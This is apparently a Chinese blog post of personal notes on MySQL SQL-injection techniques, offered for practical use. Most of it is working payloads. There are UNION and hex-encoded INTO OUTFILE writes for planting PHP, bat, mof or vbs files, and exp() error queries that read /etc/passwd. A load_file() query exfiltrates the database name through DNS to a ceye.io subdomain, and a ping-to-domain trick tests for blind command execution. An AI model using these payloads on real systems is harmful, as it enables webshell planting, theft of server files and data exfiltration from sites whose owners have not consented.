今天終於在表哥的幫助下解決了文件導入/出這個問題了。(很菜逼的一個問題),然后將最近看到的文章都自己測試了下,順便奉上記錄。 1.Mysql數據庫支持union的時候寫文件小技巧: ![]() 采用常規的union寫入,可以看到前面的字段占位數肯定也會被寫入,替換成null也是一樣的結果,這個對於寫shell沒啥大礙, 但是如果用來寫bat,mof,vbs等文件就會出問題了,那么怎么去掉這個只寫入我們需要的內容呢?采用hex編碼就好了。 ![]() 將我們要寫入的內容使用hex編碼在分段寫在每個字段位上,這樣就可以只寫入我們需要的內容了。 2.不支持union的時候寫入,很多人都不知道這個辦法,以為要寫入內容必須要支持union,看到一篇文章,可以不需要支持這個辦法。 語法:select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23 ![]() 可以看到成功寫入,但是這個方法有一個弊病就是查詢出來的數據必須大於或等於2以上才可以寫入內容,寫入的內容數=查詢出來的數據-1 可以看到,當我們使前面的數據出錯查不到數據的時候,寫入是失敗的。 看看sqlmap中的情況: ![]() 可以很明顯的看到sqlmap中也有這種辦法寫入。(burp抓取sqlmap數據包:加上 --proxy "http://127.0.0.1:8080/" 在burp里可以看到請求) ![]() 當然可以看到也通過了常規的union寫入文件。 同時附上一個函數exp()。通過這個函數也可以讀取文件,但是寫文件只能寫入一個內容為0的文件,這里就必須結合其他的漏洞利用了,如:文件覆蓋之類的。 讀文件: select exp(~(select*from(select load_file('/etc/passwd'))a)); 寫文件: select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; //但是只能寫一個0進去。 3.關於使用dns解析來讓盲注更加簡單。 首先看下load_file()這個函數,這個函數可以用來發送dns解析請求。 然后使用類似的語句:select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1); 即可成功將database()解析到域名的dns前面。前提是支持讀文件權限,這個在實戰中占的比列大概只有%30左右吧。 ![]() 還有就是命令執行同時也支持的,如: ![]() ![]() 實戰中也類似這個道理。在可能存在命令執行的地方,ping+域名,或許就能查看到是否執行了。 本來是自己寫的word作為記錄儲存的,順便和大家分享下。 相關資料: https://ricterz.me/posts/%E7%AC% ... Injection%20Attacks https://bbs.ichunqiu.com/thread-22002-1-1.html http://lu4n.com/mysql-sqli-write-webshell-two-methods/ |
---恢復內容結束---